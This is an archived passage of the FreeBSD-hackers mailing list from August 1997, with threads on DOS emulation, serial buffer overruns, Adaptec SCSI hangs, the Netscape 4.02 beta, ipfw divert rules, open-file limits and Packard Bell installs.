Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Frank Creel stands accused of saying: > I have heard that there is a group working on a program to run MS dos > programs under freebsd..I would like to work with this group..Can you > aim me me the correct direction??? The mailing list for discussions on this is emulation@freebsd.org. The most recent software is in the experimental section of the 2.2.x distributions, and also available at ftp://gsoft.com.au/pub/doscmd. We'd be very happy to have you on the team; things have been stagnant for a while now and a bit of fresh air would be great! > Frank Creel -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 21:23:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA11771 for hackers-outgoing; Sun, 3 Aug 1997 21:23:27 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA11762 for ; Sun, 3 Aug 1997 21:23:22 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id WAA26367; Sun, 3 Aug 1997 22:23:17 -0600 (MDT) Date: Sun, 3 Aug 1997 22:23:17 -0600 (MDT) Message-Id: <199708040423.WAA26367@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Charles Henrich Cc: Michael Smith , tom@sdf.com, freebsd-hackers@freebsd.org Subject: Re: tty-level buffer overflows In-Reply-To: <19970803112147.21483@crh.cl.msu.edu> References: <19970803025730.57257@crh.cl.msu.edu> <199708030852.SAA13473@genesis.atrad.adelaide.edu.au> <19970803112147.21483@crh.cl.msu.edu> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Your application is busted; data is arriving faster than your app is reading > > it, and the kernel has run out of patience and started throwing the data > > away. > > Im afraid not, the application is a software Upload, with a singly byte ack > every 2k, if the serial port cant handle that, theres a problem. I would > presume that if the buffer is full, a write() should block. You've got a 16 byte FIFO, and you're wondering why it's overflowing when your application is trying to get 2K at a time? You've *GOT* to be kidding, right? Nate From owner-freebsd-hackers Sun Aug 3 22:11:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13848 for hackers-outgoing; Sun, 3 Aug 1997 22:11:51 -0700 (PDT) Received: from whizzo.TransSys.COM (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA13841 for ; Sun, 3 Aug 1997 22:11:49 -0700 (PDT) Received: from localhost.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.TransSys.COM (8.8.6/8.7.3) with SMTP id BAA23487; Mon, 4 Aug 1997 01:11:37 -0400 (EDT) Message-Id: <199708040511.BAA23487@whizzo.TransSys.COM> X-Mailer: exmh version 2.0zeta 7/24/97 To: Nate Williams , Charles Henrich cc: freebsd-hackers@FreeBSD.ORG From: "Louis A. Mamakos" Subject: Re: tty-level buffer overflows References: <19970803025730.57257@crh.cl.msu.edu> <199708030852.SAA13473@genesis.atrad.adelaide.edu.au> <19970803112147.21483@crh.cl.msu.edu> <199708040423.WAA26367@rocky.mt.sri.com> In-reply-to: Your message of "Sun, 03 Aug 1997 22:23:17 MDT." <199708040423.WAA26367@rocky.mt.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 04 Aug 1997 01:11:36 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Your application is busted; data is arriving faster than your app is reading > > > it, and the kernel has run out of patience and started throwing the data > > > away. > > > > Im afraid not, the application is a software Upload, with a singly byte ack > > every 2k, if the serial port cant handle that, theres a problem. I would > > presume that if the buffer is full, a write() should block. > > You've got a 16 byte FIFO, and you're wondering why it's overflowing > when your application is trying to get 2K at a time? You've *GOT* to be > kidding, right? No, I think that Charles is surprised that he's *sending* 2K blocks, and getting error messages described on the single byte ACK characters which is being *received*. Could it be that there is cross-talk, and some of the data being transmitted is being "heard" as input? louie From owner-freebsd-hackers Sun Aug 3 22:15:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA14084 for hackers-outgoing; Sun, 3 Aug 1997 22:15:10 -0700 (PDT) Received: from pendor.McKusick.COM (root@pendor.bayarea.net [205.219.85.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA14077 for ; Sun, 3 Aug 1997 22:15:07 -0700 (PDT) Received: (from benco@localhost) by pendor.McKusick.COM (8.8.5/8.6.9) id WAA15776 for freebsd-hackers@freebsd.org; Sun, 3 Aug 1997 22:15:04 -0700 (PDT) Date: Sun, 3 Aug 1997 22:15:04 -0700 (PDT) From: Ben Cottrell Message-Id: <199708040515.WAA15776@pendor.McKusick.COM> To: freebsd-hackers@freebsd.org Subject: AHA2940 problems, round two Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Senate and People of the FreeBSD Republic: I just upgraded from the February SNAP release to the June one, and compiled a hot-off-the-net 3.0-current kernel. By all accounts, that *should* have gotten me the latest, fixed version of the ahc driver, right? At least I thought so based on the numerous threads recently about it. However, when I then tried running cdd, it said: > cd1: SCB 0x1 - timed out while idle, LASTPHASE = 0x1, SCSISIGI = 0x0 > SEQADDR = 0x7 SCSISEQ = 0x12 SSTAT0 = 0x5 SSTAT1 = 0xa > cd1: Queuing an Abort SCB > cd1: Abort Message Sent > cd1: SCB 1 = Abort completed. > cd1: no longer in timeout > cd1: SCB 0x1 - timed out while idle, LASTPHASE = 0x1, SCSISIGI = 0x0 > SEQADDR = 0x4 SCSISEQ = 0x12 SSTAT0 = 0x5 SSTAT1 = 0xa > cd1: SCB 1: Immediate reset flags = 0x1 > ahc0: Issued Channel A Bus Reset, 1 SCBs aborted (from scribblings on paper; I think I have all the numbers right, but punctuation etc is approximate). What follows is a hang, not panic, and it's definitely a system hang, not a SCSI hang, because I can't even switch virtual consoles or press ^C. What gives? Looks like a return of the problems in April to me. Is this a known bug, or should I try and get a crash dump and start working on it? For reference, I have an Adaptec 2940AU controller, and cd1 is a Toshiba 3401 2x CD-ROM drive. The program that crashes it is cdd-1.0-970519. I'd be very grateful to anyone who has any suggestions on this! ~Ben From owner-freebsd-hackers Sun Aug 3 22:38:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA15191 for hackers-outgoing; Sun, 3 Aug 1997 22:38:26 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA15185 for ; Sun, 3 Aug 1997 22:38:22 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) with ESMTP id PAA19396; Mon, 4 Aug 1997 15:08:18 +0930 (CST) From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.6/8.6.12) id PAA01628; Mon, 4 Aug 1997 15:08:15 +0930 (CST) Message-Id: <199708040538.PAA01628@freebie.lemis.com> Subject: Re: netscape 4.02b7 In-Reply-To: <4339.870648420@time.cdrom.com> from "Jordan K. Hubbard" at "Aug 3, 97 03:47:00 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 4 Aug 1997 15:08:15 +0930 (CST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard writes: >> I was poking around on netscape ftp servers and I found 4.02b7 >> released for freebsd. I first got the bsdi1.1 version as the 2.1 >> version core dumped when using java when it came out 2 days ago, >> but today I went and I found the freebsd version on the ftp site. >> >> Anyway, hit >> ftp://ftp23.netscape.com//pub/communicator/4.02/4.02b7/english/unix > > Just to note that it's still in the process of propagating to the > other FTP sites, which is why no one had quite announced it yet. :) > > Once it does make it, someone will undoubtedly create a port for it > which takes care of all the installation issues. > > Thanks also go out to a certain skunk-works project at Netscape who > produced this product for FreeBSD! Grrrr. Who took it away? I downloaded /pub/communicator/4.02/4.02b7/english/unix/freebsd/professional_edition/communicator-v402b7-export.x86-unknown-freebsd.tar.gz this morning, and had difficulties installing it: it doesn't seem to contain any app_defaults/Netscape. So I went back to have a look, and at 17:45 on August 3 (round the end of my download), the files appear to have been removed. I found the answer to my question: the install script doesn't install the app-defaults/Netscape file, but it's in the main install directory (which, for some reason, defaulted to /opt/netscape) as Netscape.ad. BTW, this is just a beta release which expires at the end of October. Greg From owner-freebsd-hackers Sun Aug 3 22:58:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA15773 for hackers-outgoing; Sun, 3 Aug 1997 22:58:15 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA15767 for ; Sun, 3 Aug 1997 22:58:12 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id WAA21911; Sun, 3 Aug 1997 22:57:37 -0700 (PDT) To: Greg Lehey cc: hackers@FreeBSD.ORG (FreeBSD Hackers) Subject: Re: netscape 4.02b7 In-reply-to: Your message of "Mon, 04 Aug 1997 15:08:15 +0930." <199708040538.PAA01628@freebie.lemis.com> Date: Sun, 03 Aug 1997 22:57:35 -0700 Message-ID: <21907.870674255@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Grrrr. Who took it away? I downloaded > /pub/communicator/4.02/4.02b7/english/unix/freebsd/professional_edition/commu nicator-v402b7-export.x86-unknown-freebsd.tar.gz > this morning, and had difficulties installing it: it doesn't seem to > contain any app_defaults/Netscape. So I went back to have a look, and > at 17:45 on August 3 (round the end of my download), the files appear > to have been removed. Hmmm. Really? I just checked: ftp23.netscape.com:/pub/communicator/4.02/4.02b7/english/unix/freebsd and it looks very much there to me. > BTW, this is just a beta release which expires at the end of October. Yep, but at least we're part of the release track now. :) Jordan From owner-freebsd-hackers Sun Aug 3 23:19:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16431 for hackers-outgoing; Sun, 3 Aug 1997 23:19:39 -0700 (PDT) Received: from www2.shoppersnet.com (shoppersnet.com [204.156.152.112]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16421 for ; Sun, 3 Aug 1997 23:19:33 -0700 (PDT) Received: (from hlew@localhost) by www2.shoppersnet.com (8.8.5/8.8.5) id XAA27207; Sun, 3 Aug 1997 23:23:01 -0700 (PDT) Date: Sun, 3 Aug 1997 23:23:00 -0700 (PDT) From: Howard Lew To: Greg Lehey cc: "Jordan K. Hubbard" , FreeBSD Hackers Subject: Re: netscape 4.02b7 In-Reply-To: <199708040538.PAA01628@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Greg Lehey wrote: > Jordan K. Hubbard writes: > >> I was poking around on netscape ftp servers and I found 4.02b7 > >> released for freebsd. I first got the bsdi1.1 version as the 2.1 > >> version core dumped when using java when it came out 2 days ago, > >> but today I went and I found the freebsd version on the ftp site. > >> > >> Anyway, hit > >> ftp://ftp23.netscape.com//pub/communicator/4.02/4.02b7/english/unix > > > > Just to note that it's still in the process of propagating to the > > other FTP sites, which is why no one had quite announced it yet. :) > > > > Once it does make it, someone will undoubtedly create a port for it > > which takes care of all the installation issues. > > > > Thanks also go out to a certain skunk-works project at Netscape who > > produced this product for FreeBSD! > > Grrrr. Who took it away? I downloaded > /pub/communicator/4.02/4.02b7/english/unix/freebsd/professional_edition/communicator-v402b7-export.x86-unknown-freebsd.tar.gz > this morning, and had difficulties installing it: it doesn't seem to > contain any app_defaults/Netscape. So I went back to have a look, and > at 17:45 on August 3 (round the end of my download), the files appear > to have been removed. > > I found the answer to my question: the install script doesn't install > the app-defaults/Netscape file, but it's in the main install directory > (which, for some reason, defaulted to /opt/netscape) as Netscape.ad. > > BTW, this is just a beta release which expires at the end of October. Hmmm.... looks like it is still there as of 8-3-97 11PM PDT... Perhaps, it's not on all of Netscape's ftp servers. Looks like another champion of a web browser and appears to be much more stable. (If anyone at Netscape is listening in... good job.) Only wish it had Conference and Netcaster, but I guess we still have to iron out the sound code. --------------------------------------------------------------------------- Shoppers Network (Support) AMD K5/K6s, Cyrix 6x86, Intel Pentiums/Pro Phone: (415) 759-8584 Email: howard@shoppersnet.com ==============================> WWW - http://www.shoppersnet.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-freebsd-hackers Sun Aug 3 23:24:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16619 for hackers-outgoing; Sun, 3 Aug 1997 23:24:09 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16609 for ; Sun, 3 Aug 1997 23:24:02 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) with ESMTP id PAA19725; Mon, 4 Aug 1997 15:53:58 +0930 (CST) From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.6/8.6.12) id PAA01709; Mon, 4 Aug 1997 15:53:56 +0930 (CST) Message-Id: <199708040623.PAA01709@freebie.lemis.com> Subject: Re: netscape 4.02b7 In-Reply-To: <21907.870674255@time.cdrom.com> from "Jordan K. Hubbard" at "Aug 3, 97 10:57:35 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 4 Aug 1997 15:53:56 +0930 (CST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard writes: >> Grrrr. Who took it away? I downloaded >> /pub/communicator/4.02/4.02b7/english/unix/freebsd/professional_edition/commu > nicator-v402b7-export.x86-unknown-freebsd.tar.gz >> this morning, and had difficulties installing it: it doesn't seem to >> contain any app_defaults/Netscape. So I went back to have a look, and >> at 17:45 on August 3 (round the end of my download), the files appear >> to have been removed. > > Hmmm. Really? I just checked: > > ftp23.netscape.com:/pub/communicator/4.02/4.02b7/english/unix/freebsd > > and it looks very much there to me. So it is. And the modification timestamps have changed again. Curiouser and curiouser. >> BTW, this is just a beta release which expires at the end of October. > > Yep, but at least we're part of the release track now. :) It's a good start. Why does it need 40 seconds to shut down? Greg From owner-freebsd-hackers Sun Aug 3 23:26:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16724 for hackers-outgoing; Sun, 3 Aug 1997 23:26:21 -0700 (PDT) Received: from elvis.mu.org (paul@elvis.mu.org [206.156.231.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16716 for ; Sun, 3 Aug 1997 23:26:17 -0700 (PDT) Received: (from paul@localhost) by elvis.mu.org (4.1/4.1) id BAA01565; Mon, 4 Aug 1997 01:25:58 -0500 (CDT) From: Paul Saab Message-Id: <199708040625.BAA01565@elvis.mu.org> Subject: Re: netscape 4.02b7 In-Reply-To: <199708040538.PAA01628@freebie.lemis.com> from Greg Lehey at "Aug 4, 97 03:08:15 pm" To: grog@lemis.com (Greg Lehey) Date: Mon, 4 Aug 1997 01:25:57 -0500 (CDT) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey wrote: > Grrrr. Who took it away? I downloaded > /pub/communicator/4.02/4.02b7/english/unix/freebsd/professional_edition/communicator-v402b7-export.x86-unknown-freebsd.tar.gz > this morning, and had difficulties installing it: it doesn't seem to > contain any app_defaults/Netscape. So I went back to have a look, and > at 17:45 on August 3 (round the end of my download), the files appear > to have been removed. Did you check ftp23.netscape.com? That is the only one I found it on. All the others have the directories but no files.. :( Paul From owner-freebsd-hackers Sun Aug 3 23:45:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA17626 for hackers-outgoing; Sun, 3 Aug 1997 23:45:36 -0700 (PDT) Received: from lassie.eunet.fi (lassie.eunet.fi [192.26.119.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA17613 for ; Sun, 3 Aug 1997 23:45:24 -0700 (PDT) Received: from tahko.lpr.carel.fi ([192.46.69.100]) by lassie.eunet.fi (8.8.5/8.8.3) with ESMTP id JAA12192 for ; Mon, 4 Aug 1997 09:45:13 +0300 (EET DST) Received: from mercury.ps.carel.fi by tahko.lpr.carel.fi with ESMTP (8.7.5/1.1) id JAA16433; Mon, 4 Aug 1997 09:40:02 +0300 (EET DST) Received: from sodium (sodium.ps.carel.fi [194.137.216.111]) by mercury.ps.carel.fi (8.8.5/8.8.5) with SMTP id JAA19276; Mon, 4 Aug 1997 09:39:29 +0300 (EET DST) Received: by localhost with Microsoft MAPI; Mon, 4 Aug 1997 09:58:15 +0300 Message-ID: <01BCA0BC.ED773680@ari.suutari@ps.carel.fi> From: Ari Suutari To: "'Julian Elischer'" , Archie Cobbs Cc: "owensc@enc.edu" , "freebsd-hackers@FreeBSD.ORG" Subject: RE: IPFW-DIVERT change. WAS:[ipfw rules processing order..] Date: Mon, 4 Aug 1997 09:58:14 +0300 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4025 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 11. heinakuuta 1997 3:14, Julian Elischer [SMTP:julian@whistle.com] wrote: > > instead of the divert port number > (the process knows thin information anyway), the rule number from > which the diversion occured. Also, on sendto() the port number > could represent the rule number to restart processing from. > in other words, if the number was 1000, processing would begin at 1001. > > this would allow a divert process to leave the same number there > that it received, and to avoid loops in that way because the process > ing would start at the NEXT rule. > > present programs probably just copy this number across, so > I guess it would be a transparent change to most of them. > > does it leave us open to security holes that were > blocked before? (see the reason archie gave above)? > is this a real threat? > can it be proven to (not be)/(be) a threat? > > I think this would be an easy change to make. > what do the USERS think (divert users). > Why not - at last natd won't mind, since it just copies the port number. However, change might cause problems with existing ipfw configurations if there are pass/deny rules before divert rules. Ari S. From owner-freebsd-hackers Mon Aug 4 00:04:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA18615 for hackers-outgoing; Mon, 4 Aug 1997 00:04:46 -0700 (PDT) Received: from necropolis.org ([207.66.220.160]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA18605; Mon, 4 Aug 1997 00:04:41 -0700 (PDT) Received: from localhost (edmond@localhost) by necropolis.org (8.8.5/8.8.5) with SMTP id XAA02358; Sun, 3 Aug 1997 23:59:01 -0700 (PDT) X-Authentication-Warning: necropolis.org: edmond owned process doing -bs Date: Sun, 3 Aug 1997 23:58:59 -0700 (PDT) From: "Andrew N. Edmond" X-Sender: edmond@necropolis.org To: Terry Lambert cc: Cliff Addy , questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Too many open files in System! In-Reply-To: <199708032114.OAA02289@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk /* text cut and pasted below */ > To answer your question: you must increase all of these values, > and if you are using select, #define FD_SETSIZE higher in your > application before including . Thanks for the great answer Terry, Cliff and ahem... Jordan :-) In any case, the sysctl settings worked great, messed with login.conf some as well, and the #define FD_SETSIZE works great.... except with... mit-pthreads. mit-pthreads is puking everytime I try to set the FD_SETSIZE (yes, before ), and even when I go into the pthreads source and try to change that version of FD_SETSIZE, it's still puking at a value of 1024. At 256 it works fine. Any ideas? Andy On Sun, 3 Aug 1997, Terry Lambert wrote: > > > error on accept: Too many open files in system > > > > > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't find a way > > > to get accept to open any more sockets. Any ideas? > > > > This seems to be a FAQ (Frequently Asked Question). Unfortunately, it > > seems to seems to also be a NAQ (Never Answered Question). I myself have > > asked it several times and the answers, involving CHILD_MAX and OPEN_MAX > > and limits, never work. Apparently, FreeBSD is too primitive to handle > > more than a few files at once. > > > > (please realize the above is an intentional goad to get SOMEONE to finally > > answer this. I love FreeBSD :) ) > > > There are five limiting factors on the number of open files which > a process can have: > > 1) There is a "soft" limit, which can be seen an raised with > the csh "limit" command or the sh "ulimit" command. This > is a soft quota. > > 2) There is a "hard soft" limit, which is set at login time > and may be modified via the login.conf mechanism. This > limit prevents you from raising the "soft" limit above > a set maximum. > > 3) There is a "hard" limit, which is set at kernel compilation > time, and limits the number of open files which may be > placed in the per process open file table. > > 4) There is a "hard system" limit, which is set at kernel > compilation time, and limits the number of files which > may be placed in the system open file table and referred > to by all process open file tables for all process > simultaneously running on the system. > > 5) Available kernel memory for the file structures, vnodes, > in core inodes, process open file table, and file buffers. > > It used to be that the only limits were 4 and 5. Unfortunately, > a number of broken shells, like "bash", open all the files they > can in order to get the last descriptor they can for use by the > shell, so that shell scripts can be run without descriptor conflicts > (the correct way for these shells to operate is to use a reference > to a descriptor instead of a descriptor, and "dup2" the descriptor > one higher each time a conflict arises; but these programs are > written by students). > > AIX had similar problems, where "bash" (and other offenders) would > open tens of thousands of files, until the per process open file > table for the starting "bash" would consume all available kernel > memory. > > Now there are quotas. > > > #4 is about the only thing that can't be gotten rid of, once you > get rid of "bash" and similar programs built-in "denial of service" > attacks. It has to remain, so that it is possible to directly > reference the system open file table from kmem to allow things like > identd to operate (identd is needed for anal security configurations > using firewall software that denies or allows on the basis of > "user@host" rather than merely "host"). Identd doesn't work > (or didn't work; it may have been repaired in a new release) on > AIX because of this. > > For #5, you can always buy more RAM. > ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: \-/ :::::::: Andrew N. Edmond - finger for PGP key :::::::::: \-/ /-\ :::::: ............ :::::: /-\ \-/ ::: edmond@lycaeum.org :::::: an1@anon.nymserver.com ::: \-/ /-\ : Director of the Lycaeum :: the Nymserver Administrator : /-\ \-/ ::: www.lycaeum.org :::::: www.nymserver.com ::: \-/ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: From owner-freebsd-hackers Mon Aug 4 00:44:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA20159 for hackers-outgoing; Mon, 4 Aug 1997 00:44:05 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA20130; Mon, 4 Aug 1997 00:43:59 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id RAA20972; Mon, 4 Aug 1997 17:12:31 +0930 (CST) From: Michael Smith Message-Id: <199708040742.RAA20972@genesis.atrad.adelaide.edu.au> Subject: Re: Too many open files in System! In-Reply-To: from "Andrew N. Edmond" at "Aug 3, 97 11:58:59 pm" To: edmond@shaman.lycaeum.org (Andrew N. Edmond) Date: Mon, 4 Aug 1997 17:12:31 +0930 (CST) Cc: terry@lambert.org, fbsdlist@federation.addy.com, questions@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Andrew N. Edmond stands accused of saying: > > In any case, the sysctl settings worked great, messed with login.conf some > as well, and the #define FD_SETSIZE works great.... except with... > mit-pthreads. > > mit-pthreads is puking everytime I try to set the FD_SETSIZE (yes, before > ), and even when I go into the pthreads source and try to > change that version of FD_SETSIZE, it's still puking at a value of 1024. > At 256 it works fine. Any ideas? Are you using the threaded library already provided with FreeBSD, or are you rolling your own? > Andy -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Aug 4 00:44:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA20206 for hackers-outgoing; Mon, 4 Aug 1997 00:44:25 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA20195 for ; Mon, 4 Aug 1997 00:44:21 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.6/8.8.5) id JAA02887; Mon, 4 Aug 1997 09:43:11 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708040743.JAA02887@helbig.informatik.ba-stuttgart.de> Subject: Re: FreeBSD on Packard Bell? In-Reply-To: <199708032306.QAA02728@phaeton.artisoft.com> from Terry Lambert at "Aug 3, 97 04:06:12 pm" To: terry@lambert.org (Terry Lambert) Date: Mon, 4 Aug 1997 09:43:10 +0200 (MET DST) Cc: leec@adam.adonai.net, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I asked about this a while ago and only got one reply from someone who > > was (politely) questioning the mental state of anyone who would purchase > > a pb machine. Okay, I was stupid. Now, has anyone put fbsd on a pb? I > > tried just doing an install, without success. It just hangs at various > > points (none of the 9 tries hung at the same spot) after all of the > > setup screens and fs work, while copying blocks of data from the cd. > > This question really belongs on -questions; however, if you posted it > there, you wouldn't have gotten me (a mixed blessing, I'm told). > > > You are likely running a CMD640B or otherwise buggy IDE controller > and using the primary for the hard disk and the secondary for the > CDROM. > > If the machine has two IDE controllers, put the CDROM on one and the > hard drive on the other. No, don't. You do have a CMD640b controller. Put the HD as master and the CDROM as slave on the primary channel. Have a look at the FAQ 3.21 and/or the HARDWARE.TXT on your CDROM. Hope this helps Wolfgang From owner-freebsd-hackers Mon Aug 4 01:52:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA22646 for hackers-outgoing; Mon, 4 Aug 1997 01:52:36 -0700 (PDT) Received: from trifork.gu.net (trifork.gu.net [194.93.190.194]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA22637 for ; Mon, 4 Aug 1997 01:52:28 -0700 (PDT) Received: from localhost (localhost.gu.kiev.ua [127.0.0.1]) by trifork.gu.net (8.8.6/8.8.6) with SMTP id TAA09130; Mon, 4 Aug 1997 19:48:02 +0300 (EEST) Date: Mon, 4 Aug 1997 19:48:02 +0300 (EEST) From: Andrew Stesin Reply-To: stesin@gu.net To: "Lee Crites (AEI)" cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD on Packard Bell? In-Reply-To: Message-ID: X-NCC-RegID: ua.gu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Lee Crites (AEI) wrote: > I asked about this a while ago and only got one reply from someone who > was (politely) questioning the mental state of anyone who would purchase > a pb machine. Okay, I was stupid. :-) > Now, has anyone put fbsd on a pb? I Yes, many times on 486's PBs. Didn't touch their Pentiums ever. > tried just doing an install, without success. It just hangs at various > points (none of the 9 tries hung at the same spot) after all of the > setup screens and fs work, while copying blocks of data from the cd. Would you mind providing as much info as possible about that damn box, i.e. _your own_ hardware descriprion plus kernel boot messages? > > If I can get this box running fbsd, I'm rid of M$! > > Lee > > Best regards, Andrew Stesin nic-hdl: ST73-RIPE From owner-freebsd-hackers Mon Aug 4 